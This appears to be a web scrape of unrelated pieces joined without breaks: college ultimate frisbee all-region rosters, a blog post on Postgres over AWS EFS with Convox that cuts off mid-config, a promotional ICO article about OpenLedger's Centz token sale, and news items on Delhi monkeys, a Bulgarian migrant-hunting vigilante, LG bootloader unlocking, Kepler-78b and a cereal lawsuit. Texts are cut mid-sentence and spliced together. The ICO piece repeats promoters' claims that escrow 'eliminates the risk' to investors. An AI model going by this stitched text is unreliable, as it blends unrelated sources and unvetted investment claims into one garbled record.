Player School Yr 1st team John Wodatch Connecticut Sr 1st team Franklin Li Cornell Sr 1st team Joe Thompson Cornell Jr 1st team Matthew Rogers Princeton Sr 1st team Ross Smith Princeton Sr 1st team Alberto Alarcon Rutgers 5th/Gr 1st team Jibran Mieser Rutgers Sr 2nd team Matthew Weintraub Columbia 5th/Gr 2nd team Daniel Wekstein Cornell Sr 2nd team Max Cohen NYU Sr 2nd team Jaime Perez NYU Sr 2nd team Samuel Pollack NYU 5th/Gr 2nd team Thomas Kelly Princeton Sr 2nd team Nicholas Plummer Syracuse So
D-I All-Region (Women's Division)
Player School Yr 1st team Sophie Hulbert Columbia So 1st team Molly McCauley Connecticut Sr 1st team Rebecca Baldwin Cornell Sr 1st team Christine Georgakakos Cornell Sr 1st team Sherry Li Princeton Sr 1st team Lyra Olson Princeton Jr 1st team Jane Urheim Princeton So 2nd team Cassondra Hunter Connecticut 5th/Gr 2nd team Olivia Olson Cornell Jr 2nd team Isabelle Bedard Ottawa Jr 2nd team Sally Yu Princeton Jr 2nd team Michelle Landis Rochester Sr 2nd team Amy Zhou Rutgers 5th/Gr 2nd team Sarah Flintgruber Yale Sr
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D-I All-Region (Men's Division)
Player School Yr 1st team Eli Motycka Brown So 1st team John Stubbs Harvard So 1st team Mark Vandenberg Harvard Jr 1st team Jeffrey Babbitt Massachusetts Jr 1st team Ben Sadok Massachusetts So 1st team Tyler Chan Tufts Sr 1st team Carter Thallon Tufts Sr 2nd team Charlie Holtz Brown Jr 2nd team Andrew Pillsbury Dartmouth Sr 2nd team Wynn Tucker Harvard Sr 2nd team Conor Kline Massachusetts So 2nd team Ben Tseytlin Massachusetts Jr 2nd team Nicholas Roberts Tufts So 2nd team Jason Shnipes Tufts Sr
D-I All-Region (Women's Division)
Player School Yr 1st team Eva Petzinger Dartmouth Sr 1st team Angela Zhu Dartmouth So 1st team Elizabeth Pugh Harvard Sr 1st team India Stubbs Harvard Sr 1st team Mei Bruist Northeastern Sr 1st team Hannah Walter Northeastern Sr 1st team Qxhna Titcomb Tufts Sr 2nd team Eliza Chang Harvard Jr 2nd team Aly Fassett-Carman Middlebury Sr 2nd team Monica Isava MIT 5th/Gr 2nd team Lisa Liu MIT 5th/Gr 2nd team Nicole Canning Northeastern Sr 2nd team Melissa Ellis Northeastern Sr 2nd team Jojo Emerson Tufts Jr
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D-I All-Region (Men's Division)
Player School Yr 1st team Jesse Bolton Carleton College Jr 1st team Justin Lim Carleton College Jr 1st team Colin Lord Iowa Sr 1st team Colin Berry Luther Sr 1st team Brandon Lafferty Luther Sr 1st team Ben Jagt Minnesota Jr 1st team Josh Klane Minnesota Sr 2nd team John Raynolds Carleton College Sr 2nd team Andrew Moore Iowa State 5th/Gr 2nd team Ian Andre-Knudsen Luther Jr 2nd team Ryan Osgar Minnesota Sr 2nd team Soham Shah Minnesota Sr 2nd team Robert Dennis Northern Iowa 5th/Gr 2nd team Craig Cox Wisconsin Sr
D-I All-Region (Women's Division)
Player School Yr 1st team Emily Buckner Carleton College Sr 1st team Lucia Childs-Walker Carleton College Sr 1st team Camille Nelson Iowa State 5th/Gr 1st team Anna Pritchard Iowa Gr 1st team Emily Lander Nebraska Sr 1st team Lorraine Guerin Wisconsin Sr 1st team Anna Hrovat-Staedter Wisconsin Jr 2nd team Katie Ciaglo Carleton College So 2nd team Janani Ragothaman Iowa State Sr 2nd team Samantha Sauerbrei Iowa State 5th/Gr 2nd team Sarah Anciaux Minnesota Gr 2nd team Greta Regan Minnesota Jr 2nd team Elizabeth Diffey Nebraska Jr 2nd team Sam Myland Nebraska Sr
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D-I All-Region (Men's Division)
Player School Yr 1st team Peter Yu British Columbia Sr 1st team Mario Bundy Oregon Sr 1st team Dylan Freechild Oregon 5th 1st team Trevor Smith Oregon 5th/Gr 1st team Khalif El-Salaam Washington Jr 1st team Seth Kotzman Western Washington Sr 1st team Matt Russell Western Washington Sr 2nd team Edward Guo British Columbia Sr 2nd team Fred Lam British Columbia 5th/Gr 2nd team Connor Matthews Oregon So 2nd team Christopher Strub Oregon Jr 2nd team Trevor Knechtel Victoria So 2nd team Jonathan Stacey Washington Sr 2nd team Dennis Casio Western Washington So
D-I All-Region (Women's Division)
Player School Yr 1st team Mira Donaldson British Columbia Jr 1st team Bethany Kaylor Oregon Sr 1st team Jesse Shofner Oregon Sr 1st team Hayley Wahlroos Oregon So 1st team Kate Scarth Victoria Sr 1st team Lauren Sadler Washington Gr 1st team Julia Bladin Whitman Sr 2nd team Alexandra Ode Oregon Sr 2nd team Corinne Dunwoody Victoria Sr 2nd team Alexandra Omand Victoria Gr 2nd team Naomi Redmond Victoria Sr 2nd team Emma Kahle Washington Gr 2nd team Abbie Abramovich Western Washington Jr 2nd team Margo Heffron Whitman So
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D-I All-Region (Men's Division)
Player School Yr 1st team Kieran Kelly Cincinnati 5th/Gr 1st team Paul Arters Ohio State Sr 1st team Marcus Thaw Penn State Sr 1st team Patrick Earles Pittsburgh Sr 1st team Trent Dillon Pittsburgh Sr 1st team Marcus Ranii-Dropcho Pittsburgh 5th 1st team Max Thorne Pittsburgh Sr 2nd team Daniel Latz Cincinnati Sr 2nd team Nicholas Mathison Lehigh 5th/Gr 2nd team Jacob Smith Penn State Sr 2nd team Codi Wood Penn State So 2nd team David Shields Pennsylvania Jr 2nd team Jonah Wisch Pittsburgh So 2nd team Tyler Kunsa Pittsburgh Sr
D-I All-Region (Women's Division)
Player School Yr 1st team Stephanie Miller Ohio State Sr 1st team Amel Awadelkarim Penn State Jr 1st team Malti Mckinnon Penn State Jr 1st team Regina Wilkinson Penn State Sr 1st team Katelyn Loughery Pittsburgh 5th/Gr 1st team Carolyn Normile Pittsburgh So 1st team Vaughan Skinker Pittsburgh Jr 2nd team Sophia Knowles Case Western Reserve Jr 2nd team Danielle Runzo Case Western Reserve Jr 2nd team Jenna Galletta Ohio State Sr 2nd team Jocelyn Corey Penn State Sr 2nd team Beata Szekeres Penn State 5th/Gr 2nd team Linda Morse Pittsburgh So 2nd team Meghan Wadlinger West Chester Sr
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D-I All-Region (Men's Division)
Player School Yr 1st team Pawel Janas Colorado Sr 1st team Stanley Peterson Colorado Sr 1st team Jay Froude Missouri Gr 1st team Matthew Bennett Texas A&M 5th/Gr 1st team Dalton Smith Texas A&M Sr 1st team Chase Cunningham Texas Sr 1st team Joseph Marmerstein Washington University Sr 2nd team Kaplan Maurer Arkansas So 2nd team Cody Spicer Colorado State Gr 2nd team J Wesley Chow Colorado Jr 2nd team Jason Finkelstein Kansas Jr 2nd team Jesse White Missouri Jr 2nd team Austin Walker Texas State 5th/Gr 2nd team Dillon Larberg Texas Jr
D-I All-Region (Women's Division)
Player School Yr 1st team Virginia Hill Colorado College Sr 1st team Chloe Rowse Colorado College Jr 1st team Megan Cousins Colorado 5th 1st team Jennifer Corcoran Kansas Sr 1st team Caitlin Fitzgerald Kansas Sr 1st team Kailee Karr Kansas Sr 1st team Kelly Lavine Texas Sr 2nd team Maggie Bailey Colorado College Sr 2nd team Dorothe Franklin Colorado Sr 2nd team Kirstin Johnson Colorado Jr 2nd team Nhi Nguyen Colorado So 2nd team Kate Eshelman Kansas Gr 2nd team Nadine Rowen Kansas Sr 2nd team Lauren Mckenna Texas Sr
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D-I All-Region (Men's Division)
Player School Yr 1st team Austin Taylor Alabama 5th/Gr 1st team Ryan Landry Auburn Sr 1st team Michael Fairley Central Florida So 1st team Jeremy Langdon Central Florida 5th 1st team Christopher Larocque Florida State 5th 1st team Bobby Ley Florida Sr 1st team Elliott Erickson Georgia 5th/Gr 2nd team Blake Galloway Auburn Jr 2nd team Brawley Adams Central Florida Sr 2nd team Christian Olsen Emory Sr 2nd team Connor Holcombe Florida State Sr 2nd team Andrew Roney Florida State Sr 2nd team Patrick Dougherty Tulane 5th/Gr 2nd team Evan Walter Tulane Jr
D-I All-Region (Women's Division)
Player School Yr 1st team Caroline Marsh Alabama Sr 1st team Larissa Ferreira Florida State Gr 1st team Alleigh Grover Florida State Sr 1st team Skylar Taggart Florida State Sr 1st team Kari Tomarelli Florida State Sr 1st team Catherine Woodhurst Georgia Tech Sr 1st team Hannah Leathers Georgia Gr 2nd team Kristine Fedorenko Auburn So 2nd team Joanna Vogt Auburn Sr 2nd team Shayna Brock Central Florida Jr 2nd team Kristin Lloyd Florida State Sr 2nd team Katherine Hines Georgia Sr 2nd team Lane Siedor Georgia 5th 2nd team Jin-Mi Matsunaga Vanderbilt Jr
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D-I All-Region (Men's Division)
Player School Yr 1st team Daniel Bellissimo Arizona State Sr 1st team Nathan Bridges Arizona State 5th/Gr 1st team Andrew Kohl Arizona State Sr 1st team Benjamin Souvey California-Davis Jr 1st team Cody Kirkland California-San Diego Jr 1st team Trevor Purdy California-San Diego 5th/Gr 1st team Hunter Corbett California-Santa Barbara Sr 2nd team Aaron Flegenheimer Arizona State So 2nd team Cameron Wariner Cal Poly-SLO So 2nd team William Turner California-Santa Barbara Jr 2nd team Justin Boals California-Santa Cruz 5th/Gr 2nd team Lior Givol California-Santa Cruz Jr 2nd team Payton Laurie Chico State 5th/Gr 2nd team Nicholas Alexander UCLA Sr
D-I All-Region (Women's Division)
Player School Yr 1st team Sharon Lin California Sr 1st team Lisa Pitcaithley California-Santa Barbara 5th/Gr 1st team Stephanie Lim Stanford 5th/Gr 1st team Michela Meister Stanford 5th/Gr 1st team Han Chen UCLA So 1st team Kristen Pojunis UCLA Jr 1st team Margot Stert UCLA Jr 2nd team ShelieMae Reyes California-San Diego Sr 2nd team Julia Salvacion California-San Diego Sr 2nd team Joy Kang California-Santa Barbara Sr 2nd team Kathryn Fowler Southern California 5th/Gr 2nd team Amy Lee Southern California Sr 2nd team Linda Venema Southern California Gr 2nd team Monisha White Stanford Jr
Back to topAWS EFS — The Container Friendly File System
Noah Zoschke Blocked Unblock Follow Following Jul 7, 2016
In April 2015 AWS announced a new cloud service: Elastic File System — a Shared File Storage for Amazon EC2. Fast forward to June 28th 2016, more than a year later, and AWS announced that EFS is finally available and production-ready in 3 regions (us-east-1, us-west-2 and eu-west-1).
A day later, Convox’s David Dollar opened a pull request integrating EFS into Convox Rack, the open-source cloud management platform built on top of AWS.
Let’s give it a try and run a Postgres container on EFS…
We’ll see that EFS is quite easy to get up and running, and that it works as advertised. A Postgres data directory is synchronized to every instance in the cluster. This unlocks a much needed challenge with containers. We can now run, kill and reschedule a Postgres container anywhere in the cluster and resume serving the persistent data.
We’ll also see that while possible, Postgres on EFS probably isn’t something we need or want to use outside of development or testing, but this experiment gives us confidence to add EFS to our infrastructure toolbox.
EFS and NFS Primer
EFS is an implementation of the Network File System (NFS) protocol.
NFS dates back to 1984, but EFS implements version 4.1 which was proposed as a standard in 2010.
With NFS, every computer uses an NFS client to connect to an NFS server, and synchronize file metadata and data over the network. The goal is to synchronize low level file modifications— locks and writes — across servers so that all clients have an eventually consistent filesystem to read from.
The NFS client/server protocol is designed to handle tough failures around network communication and mandatory and advisory file locking. Version 4.1 made big improvements around using multiple servers to separate the metadata paths from the data paths.
See these primers on NFS 4.0 and NFS 4.1 for more details.
Because NFS looks like a standard filesystem it is trivial to use an EFS volume with Docker containers.
EFS is free to provision and offers 5 GB of storage for free in the AWS free tier. Usage beyond that costs $0.30 per GB per month. See the launch announcement for more details.
1990 called and wants its technology back
Update Convox To Use EFS
An EFS volume is relatively easy to provision with CloudFormation and to mount into an EC2 instance with UserData.
Here I am demonstrating the simple, open-source Convox project and tools to write set up a new environment (or to update an existing environment) to use EFS and inspect the resulting instances and containers. See this Pull Request for the specifics of the CloudFormation and UserData changes.
As long as we install Convox into one of the 3 regions where EFS is supported, Convox instances now automatically have EFS mounted in /volumes.
# install convox in us-east-1, us-west-2 or eu-west-1
$ convox install --region=us-west-2
# update to the EFS release
$ convox rack update 20160629185452-efs
# check out the new /volumes path
$ convox instances ssh i-492ab0cf
$ mount | grep /volumes
us-east-1c.fs-f223e6bb.efs.us-east-1.amazonaws.com:/ on /volumes type nfs4 (rw,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=10.0.2.139,local_lock=none,addr=10.0.2.95)
# modify something in the /volumes path
$ sudo su
$ echo hi > /volumes/hi
# see the changes on other instances
$ convox instances ssh i-cb979a57 cat /volumes/hi
hi
$ convox instances ssh i-f08a3660 cat /volumes/hi
hi
Sure enough we have a filesystem shared between three instances!
Update an App Database To Use an EFS Volume
Let’s run a database on this filesystem.
Convox takes an application with a Dockerfile and docker-compose.yml file and automates building images and pushing them to the EC2 Container Registry (ECR) and deploying the images to AWS via the EC2 Container Service (ECS).
We can take the convox-examples/rails app and add a persistent volume to the Postgres container by adding 2 new lines to the docker-compose.yml file that say we want a data directory in production:
volumes:
- /var/lib/postgresql/data
Now I can deploy the app:
$ cd rails
$ cat docker-compose.yml
web:
build:.
labels:
- convox.port.443.protocol=tls
- convox.port.443.proxy=true
links:
- database
ports:
- 80:4000
- 443:4001
database:
image: convox/postgres
ports |
ions
Even though Target has a "big and tall" section, as People magazine noted, the models aren't really "big and tall."
"Our perception of beauty in society is so warped in that it's only this one thing," he said to People. "We need to keep seeing bigger, smaller. We need to see every body type. We need to see that every type of person is beautiful."As the blockchain technology trend has been picking up momentum, more and more start-ups have this year been hopping on the bandwagon and implementing cryptocurrency tokens and blockchain protocols as a means of crowdfunding their ventures. The 'ICO', the Initial Coin Offering, has become a phenomenon, but some may ask if it’s akin to the 'Wild West' of investing.
Since the first modern ICO was launched by Lisk, a blockchain application platform for JavaScript developers co-founded by Max Kordek and based in Berlin, that caused a stir when it collected 14,000 bitcoin (BTC) in its crowdfund in early 2016 (c.$6m from some 4,000 investors), numerous blockchain-oriented enterprises are opening opportunities for the public to become investors in their latest promising ventures.
Last month when I visited the German capital for a conference and caught up with the 24-year old Lisk CEO Kordek, a futurist and entrepreneur interested in disruptive technologies, he expressed some reservations that not all business use cases were necessarily suited to ICO fund raising campaigns.
Given the infancy of the domain and absence of regulation, there have also been plenty of opportunists taking advantage of the hype to line their own pockets rather than contribute to the developing blockchain ecosystems.
Thus, while there are indeed great opportunities for both companies seeking capital investment and investors looking for hot new companies to put their money into, navigating the maze of this emerging market poses its challenges and risks, and in particular for the professionals aiming to assure the integrity of their businesses.
While a slew of projects have launched via ICO approaches - with varying degrees of success and failure - and projects such as Consensys’ WeiFund, a crowdfunding platform that leverages smart contracts on the Ethereum blockchain, are planning ahead to provide markets with a solid infrastructure for this new crowdfunding methodology, one enterprise that has been forging the way and steadily building its reputation is OpenLedger.
It is one of the first decentralized exchanges (DEX), which is further supported by the world's first known decentralized conglomerate (DC) of ecosystems.
OpenLedger has been growing a number of synergistic ecosystems and platforms from which to help innovative start-ups strategize, promote and execute a successful crypto token-based crowdfunding campaign.
Due Diligence & Process
Diligently screening potential partnering businesses to ensure the ICOs, and touting what the DEX claims is a “professional standard” that investors can hopefully have trust have in, OpenLedger’s team has been working to develop a business model that consistently provides the blockchain community a source of investment opportunities.
At the same time it has been working closely with the start-up businesses to ensure a successful launch within a 6-12 month period, which is the time during which OpenLedger follows a particular project from its early conceptualization until final launch. That said, each project has its own timeline based on their own specific business model.
They have developed their own specific due diligence checklist and the founders disclose that they spend “significant time” vetting projects prior to bringing them to the public.
As regards their diligent screening, the exchange follows a KYC and KYB (know your customer and business) procedure with initial talks and validation of concept/idea. This is followed up with the close connection to final launch 6-12 months later. The OpenLedger team seeks to ensure that each project is given best possible conditions to succeed, thereby giving investors equivalently the best possible conditions to profit.
Within the last six months and through its crowd sales learning process, OpenLedger has supported either partly or in full the following projects: Incent, Beyond The Void, Decent, Spells of Genesis, Synereo, BlockPay, ICO OpenLedger, Heat Ledger, Bitland, and in its early phase of conception the official digital token of the OpenLedger DC called OBITS as well as the digital advertising token called BTSR.
Most recently, OpenLedger has been in preparations for an ‘early-bird’ offering with Centz, a US-based venture out to revolutionize the realm of e-gift cards.
Having spotted a niche problem in a $160 billion gift card market in the US, the Centz team aims to establish a digital gift card system with which gift cards are loaded up with the crypocurrency - so-called Goldbucks – that can be exchanged between vendors in the network.
If, for example, say your aunt Lucy were to give you a $100 gift card for the stuffed ferret’s emporium or an antique doorstop outlet, which you were not all too keen on, you would then be able to transfer that credit over to a gift card for a vendor offering just what you were really hoping for.
And, if that purchase were perhaps only $90. Rather than having $10 left on your card and nothing else you could find to spend it on at that particular retailer - you could always exchange those Goldbucks over to an e-gift card for another retailer in the network where you wanted to spend it.
Centz has a business model that relies on two patent-pending technologies, which the company founders claim will disrupt the gift card industry, with solution that focuses on flexibility, security and fraud. While in the US the industry is estimated to be worth $160bn, it stands at almost $1 trillion worldwide.
Committed to serving what it claims are “bold and high-quality” start-ups in the blockchain space aimed at penetrating and disrupting large mainstream markets, OpenLedger has chosen Centz not just based on the investment potential, but for what it claimed is the “credibility and publicity such a project may bring to the space”.
While OpenLedger is providing the technological support for both Centz’s initial crowdfunding and asset/token issuance and management with their Goldbucks, the platform has also taken on an intimate involvement in trying to assure a successful campaign and launch. This involves providing start-up clients with a range of resources, expertise and infrastructure to leverage and scale up.
Digital Asset Issuance & Beyond
According to Ronny Boesing, the Danish CEO and founder of OpenLedger, it has been developing its strategic approach and ecosystems to propel it become the “go-to" crowdfunding solution partner for innovative blockchain startups like Centz.” They have focused on the legal and regulatory issues that surround the structuring and offering of tradable tokens.
Besides the above services, OpenLedger provides advice on business strategy, branding, web design and content creation, crowdfunding management and investor relations.
Furthermore, Boesing said: “Investors in the project are also protected by the benefits of OpenLedger’s implementation of a multi-signature escrow service for their crowdfunding partners. Funds are only released to the companies based on the achievement of pre-determined milestones”.
This approach is held up as “eliminating the risk” of investors losing all their funds, if for whatever reason the companies in question fail to fulfill their promises of delivery. It ensures part of investment is returned in the case a venture does not making it to product launch.
Granted, the enterprise’s aim is to thoroughly screen and assess all the companies they support in order to ensure the highest likelihood of long-term success for both the start-ups and investors.
Yet, as unforeseen events do happen and business outcomes are not always predictable, such an arrangement provides what Boesing asserts is “some degree of security that funds are being allocated according to plans and is an investment feature rarely found elsewhere in the world of ICOs, where projects launch with zero accountability to their investors for how the funds are to be spent”.
Blockchain Crowdfund Trend
But just how far this blockchain-centric crowdfunding trend may go, is anybody’s guess. OpenLedger is just one team among many in the blockchain sphere that Boesing argues “feels passionately that this emerging model may prove to be the future of investing”.
As to what unconventional innovations could be facilitated by such out-of-the-box ways of restructuring the intersection of commerce and finance, imagination could be said to the limit. There have certainly been some bold concepts put out there in recent months and ICO's have come thick and fast.
Take as a theoretical example one presented by OpenLedger in the wake of the US presidential campaign, where it was suggested that their crowdfunding approach could be the solution to funding the construction of proposed wall lining the US-Mexico border - as espoused by President-elect Donald Trump.
Whether the story was launched in the midst of a campaign frenzy to take advantage of a unique marketing positioning opportunity, or the idea was meant to be taken seriously is questionable. Some might view it as a stunt.
However, this case has raised valid questions to broaden the debate and horizons of visions for different ways that these technologies may be applied to help solve not only business challenges, but also cross over into the realms of unchartered governmental, political and economic territory.
Wall or no wall, the blockchain revolution is here. And, OpenLedger is one firm positioning itself to take up the reins in what could be described as a promising approach to crowdfunding.
If one looks at a project like Centz, crypto tokens purchased in the crowdsale function not only as an asset of the company held as an investment, but can be exchanged for Goldbucks and spent throughout the network - whether for oneself or given via transferable e-gift cards. Dubbed the world’s first gift card cyptoexchange, their ICO commences in 39 days times from today.
In total, there will be a maximum of 16,000,000 Centz tokens for sale by OpenLedger exclusively on their plaCorm. The Centz Token, which will trade under the symbol of CNTZ, will be fully tradable when the ICO goes live.
The early bird round, which has a limit of 6,000,000 Centz Tokens available, started on December 7, 2016, and runs late January 2017 with the minimum order being 1 bitcoin (BTC) and bonuses increasing from the 20 BTC level.
Undoubtedly, the future is ripe with a myriad of opportunities for fintech disrupters innovating business models and ways of conducting commerce with the implementation of blockchain technologies. It will be interesting ride into 2017 and to see how it all pans out. Carpe diem.NEW DELHI: Delhi’s monkeys may now have unique IDs of their own. The Delhi high court has directed animal rescue NGO Wildlife SOS, municipal corporations and the forest department to formulate an action plan on how to sterilise monkeys in the capital in a bid to control their growing numbers. The NGO had earlier proposed a monkey vaccination and sterilisation project in the capital to the HC which would see them tagged with unique and permanent IDs in order to avoid overlapping.Wildlife SOS had previously partnered with Agra Development Authority and the Agra district administration, successfully carrying out a series of sterilisation drives as part of the ‘Humane-Primate Mitigation Project’. Following the success of the model, high court has directed authorities in Delhi to prepare an action plan in support of the project. The HC has scheduled the next hearing on November 7, 2017.The project aims at tackling the conflict between humans and rhesus macaques in a scientific and humane way through vaccinations and laparoscopic surgical interventions while ensuring minimal stress.“The Human Primate Conflict Mitigation Project is visionary as it tackles the increasing conflict between people and rhesus macaques. Human provisioning and feeding of rhesus macaques by people for religious sentiments have habituated these animals and hence it is the need of the hour to sterilise the monkeys for long term control of their population. This model ensures public safety along the lines of animal welfare,” said Kartick Satyanarayan, co-founder, Wildlife SOS.The monkeys will be tagged using safe tattoos with individual codes to avoid overlapping while trapping them. An expert team from Wildlife SOS will then vaccinate them against rabies and tetanus and conduct a series of sterilisation surgeries.“The first step is to conduct a thorough census of the rhesus macaque population in Delhi and establishing a dedicated monkey hotline to understand and document which areas have major conflict. We will then carry out a phase-wise operation in the demarcated conflict areas. The success of the model will depend on proper survey,” said Wasim Akram, Wildlife SOS special projects manager.Wants Bulgarian state to fund operation and pay for every captured refugee
He hands illegal migrants over to the police 'because they are all jihadists'
A self-styled migrant hunter has organised gangs of vigilantes to patrol and hunt down illegal asylum seekers in Bulgaria.
Dinko Valev, 29, has managed to acquire two armoured vehicles to travel through rough territory around the city of Yambol near the border with Turkey.
He says the reaction has been so positive among the population that he is now trying to recruit more people to expand his vigilante operation.
And he even wants the Bulgarian government to fund the operation and pay for every captured refugee.
He regards every illegal migrant as a jihadist and dismissed claims he was terrorising his captives.
He said: 'I would describe it as simply a sporting activity. You can't describe sportsmen as violent.'
Scroll down for video
Bounty hunter: Bulgarian gangster Dinko Valev stis on an armoured vehicle which he uses to track down and round up illegal migrants near his home in the city of Yambol in south-eastern Bulgaria
Valev (posing at home in his dressing gown) says the reaction has been so positive he is now trying to recruit more people to expand his vigilante operation and even wants the Bulgarian government to help fund it
Terrified migrants are forced to lie face down on the ground after being rounded up by one of Valev's patrols
Huddled in fear: Suspected illegal migrants cower on the ground after being 'caught' by Valev. Human rights activists have accused Valev of terrorising his captives with death threats
Valev says people have been turning up with off-road trial bikes and dogs to help in the search for illegal immigrants.
Others, including himself, also set off on their hunts on horses. When captured, the immigrants are then handed over to police, he said.
But the hunts organised by Valev have been slammed by the Helsinki Committee who have demanded officials clamp down on the immigrant roundups being organised by Dinko, saying what he is doing is illegal and branding him a criminal.
The Helsinki Committees for Human Rights are non-profit organisations devoted to human rights present in many countries, including Bulgaria.
In a statement to MailOnline, a spokesman said: 'Valev admits that he has hurt these people.
'His victims included men, women and children fleeing Syria. In one incident, he forced them to lie face down for half an hour after terrorising them with death threats.
'In another refugee roundup, he boasts about tracking a man for a while before finally capturing him.
'He repeatedly makes offensive remarks about refugees and it's clear that he plans to expand his volunteer corps to focus on capturing more asylum seekers.
'Even more worrying is that he wants the state to fund his operation and to pay for every captured refugee.
'So he is not only spreading fear of refugees within Bulgarian society, and inspiring people to treat them with disgust and hostility, and to reject them, but he's also asking for his actions to be supported.'
Valev says volunteers have been turning up with off-road trial bikes and dogs to help in the search for migrants
Valev has even managed to acquire two armoured personnel carriers to travel through the rough territory
Instead of getting the backing of authorities, the Helsinki committee statement sparked widespread outrage with a petition now being organised which has attracted thousands of signatures, demanding people support Valev.
In the first few hours alone, it ended up with 2,000 supporters.
Comments included one who wrote: 'We don't have a state that cares for Bulgarians. It is time for all Bulgarians to be united. I am proud of what Dinko is doing.'
Another added: 'Dinko is hero, we need more like Dinko. Jail time for the members of the Helsinki Committee, not for Dinko, you traitors!'
A Facebook page has also been set up supporting him.
Facebook user Hristo Dimov wrote: 'Let's protect Dinko from the Bulgarophobe such as the Helsinki committee.
'People are beaten on motorways, in discos, robberies are happening every night and every day,
'But Dinko Valev who protects us from the refugees and assists border controls in their work should be prosecuted?'
Valev has thousands of supporters online, with some calling him a 'hero' and human rights groups 'traitors'
Valev started the patrols after himself becoming a victim of an attack by migrants who tried to steal his bike
The mercenaries patrol through rough territory around the city of Yambol near the border with Turkey
Speaking on Bulgarian national TV, Dinko Valev said he had started the patrols after himself becoming a victim of an attack by migrants is now determined to round them up and see that they were evicted from the country.
He said they wanted to steal his motorbike and were shouting 'Allah'.
He said: 'I'm not organising anything other than inviting people to join me.
'I would describe it as simply a sporting activity. I am a sportsman, you can't describe sportsmen as violent. I have to do a public service at the same time that protects Bulgarians.'
Meanwhile, he has made no secret of the fact that he regards every illegal immigrant as most likely a jihadist.
In a TV interview, Valev said they make sure that all the immigrants they capture are handed over to police.LG now supports bootloader unlocking for certain LG V30 variants.
The Korean tech giant has just added its latest flagship phablet, LG V30, to the list of supported smartphones for bootloader unlocking. However, it’s worth noting that not all variants of the device have this privilege as of now. To be precise, the service is available only for European variants of the V30 with model numbers H930 and H930G. The latter is an Italy-exclusive variant.
For those of you that don’t know, unlocking your handset’s bootloader lets you have more control over it, whether it means easier rooting or flashing some custom kernels that give you better speed and battery life.
LG V30, launched at IFA this year, features 6.0-inch QuadHD+ P-OLED display and is powered by octa-core Snapdragon 835 processor. Besides that, other specs include 4GB RAM, 64/128GB storage, dual 16+13MP rear camera, 5MP front-facing camera, and 3300mAh battery. It runs Android 7.1.2 Nougat out of the box. However, the Android 8.0 Oreo update is expected to arrive later this month.
For more details on how to unlock the bootloader, you can check out the source link below.
SourceArtwork depicting an exoplanet close to its parent star.
Artwork by ESO/L. Calçada
Another really weird planet orbiting another star has been found, and it’s a world of extremes: The orbital period—its year—is only 8½ hours long, and it’s so hot it must have a molten surface of boiling lava. Not only that, but it’s roughly the same size as Earth!
The planet is called Kepler-78b and is located about 700 light-years from Earth. The parent star, called just Kepler-78, is slightly smaller, cooler, and lower mass than the Sun. It’s less than 1 billion years old, making it far younger than the Sun as well.
The planet was detected using the transit method. If a planet’s orbit is edge-on as seen from Earth, it blocks a tiny bit of light from the star every time it orbits (like a bug flying between you and a light). The star is relatively bright—about 11th magnitude, visible in a small telescope—which means it was extremely well-observed, and even though the amount of light blocked by the planet was tiny, it boomed right out of the observations:
The change in light from the star Kepler-78 as the planet moves around it.
Plot by Sanchis-Ojeda et al.
That diagram is from the announcement paper for the planet. When I saw it, I was stunned. It’ll take a moment to explain why, but bear with me. This is cool.
First, the graph plots light from the star and planet over time; about 12 hours is covered. The big dip is from when the planet is directly between us and the star. The units on the left are parts per million, so the planet blocks about 200 one-millionths of the star’s light, or 0.02 percent. That’s a teeny tiny amount, but clearly seen.
The black dots plot the starlight over one planetary orbit, and it repeats at about the seven-hour mark. (It’s plotted this way to make it easy to see the repeating pattern in the light.) The diagram inset in the middle shows the relative size of the star, planet, and the planet’s orbit (dashed line). That’s to scale: The planet circles the star, staying just three times the star’s own radius from the surface! That means the planet is boiling hot, with a surface temperature of about 4,800 degrees Celsius (8,700 degrees Fahrenheit).
But it’s the middle part of the graph that blew me away. If the light we saw were steady, then that would be a flat line between transits. But it’s not: You can see it rises a bit, then there is a second, much shallower dip starting at the 3½-hour mark, then it drops slowly again.
What you’re seeing there is the light from the planet itself, changing like the phases of the Moon as it orbits the star, and then getting blocked as it passes behind the star.
That’s astonishing. I mean, seriously, we’re seeing the changing phase of the planet itself! Here’s an animation made for a similar discovery in 2009, showing how this works:
When the planet is directly between the star and us, we see its unlit half. As it orbits around the star, we see gradually more of it, lit like a crescent Moon, so it gets brighter. Then we see it half full, three-quarters full … and just as we’d see it becoming fully lit, it passes behind the star itself, and we get that little dip in the light. So what you’re seeing there is actually the combined light of the star and the planet, too. We’re probably seeing reflected starlight off the planet, like the Moon is lit from the Sun. But again, note the small change: It only adds up to about 10 parts per million! The star is hundreds of thousands of times brighter, but the planet makes itself get noticed in all that blaring light.
Kepler-78b is a pretty spectacular place. While we can’t determine its mass very well, it’s certainly less than about eight times the Earth’s mass, most likely close to Earth’s own heft. It’s only about 1.2 times the radius of the Earth, so it’s very close to our size. But Earth it ain’t. Poking around the Web, I didn’t find any common metals that are solid at 4,800 degrees Celsius, which means no matter what, the surface of this planet is molten. If it has an atmosphere at all, it’ll be vaporized rock and metals.
And on top of it all, its year is only a few hours long. Only a handful of planets known orbit their stars more rapidly. That close to the star it’s probably tidally locked, too, so it always shows the same face to the star; one side of the planet is infernally hot and the other would be somewhat cooler. But even so, the whole surface would be a world-spanning ocean of churning liquid rock and metal. Crazy.
This is yet more evidence that the Universe is more clever than we are when it comes to creating worlds. But we’re clever, too, and we can find them. And the more we see, the better we understand how they form, how they exist, and the more we are able to understand about our own blue-green—and very temperate—planet.Janine Sugawara of California was shocked to learn that the "crunchberries" in Captain Crunch Crunchberries cereal are not real berries. She had been eating them for better health for four years.
Whilst most people would be too embarrassed to tell anyone they had believed such a stupid thing, Sugawara went and filed a class action lawsuit against Quaker Oats, claiming that they purposely deceived "reasonable" people into believing that crunchberries were a real fruit. Can you have a "class" of one?
While we are all fed up by the number of stupid lawsuits which are allowed to progress, and which often end with ridiculous awards, our hero, US District Judge, Morrison C. England, Jr., immediately dismissed the suit writing,
" Under normal circumstances, when this Court grants a Motion to Dismiss, the Plaintiff is given a reasonable period of time, usually twenty (20) days, in which to file an amended complaint. In this case, however, it is simply impossible for Plaintiff to file an amended complaint stating a claim based upon these facts. The survival of the instant claim would require this Court to ignore all concepts of personal responsibility and common sense. The Court has no intention of allowing that to happen. "
The specific reasons for the dismissal include:
"Defendant chose the moniker `Crunchberries' for its brightly colored cereal balls. As far as this Court has been made aware, there is no such fruit growing in the wild or occurring naturally in any part of the world.
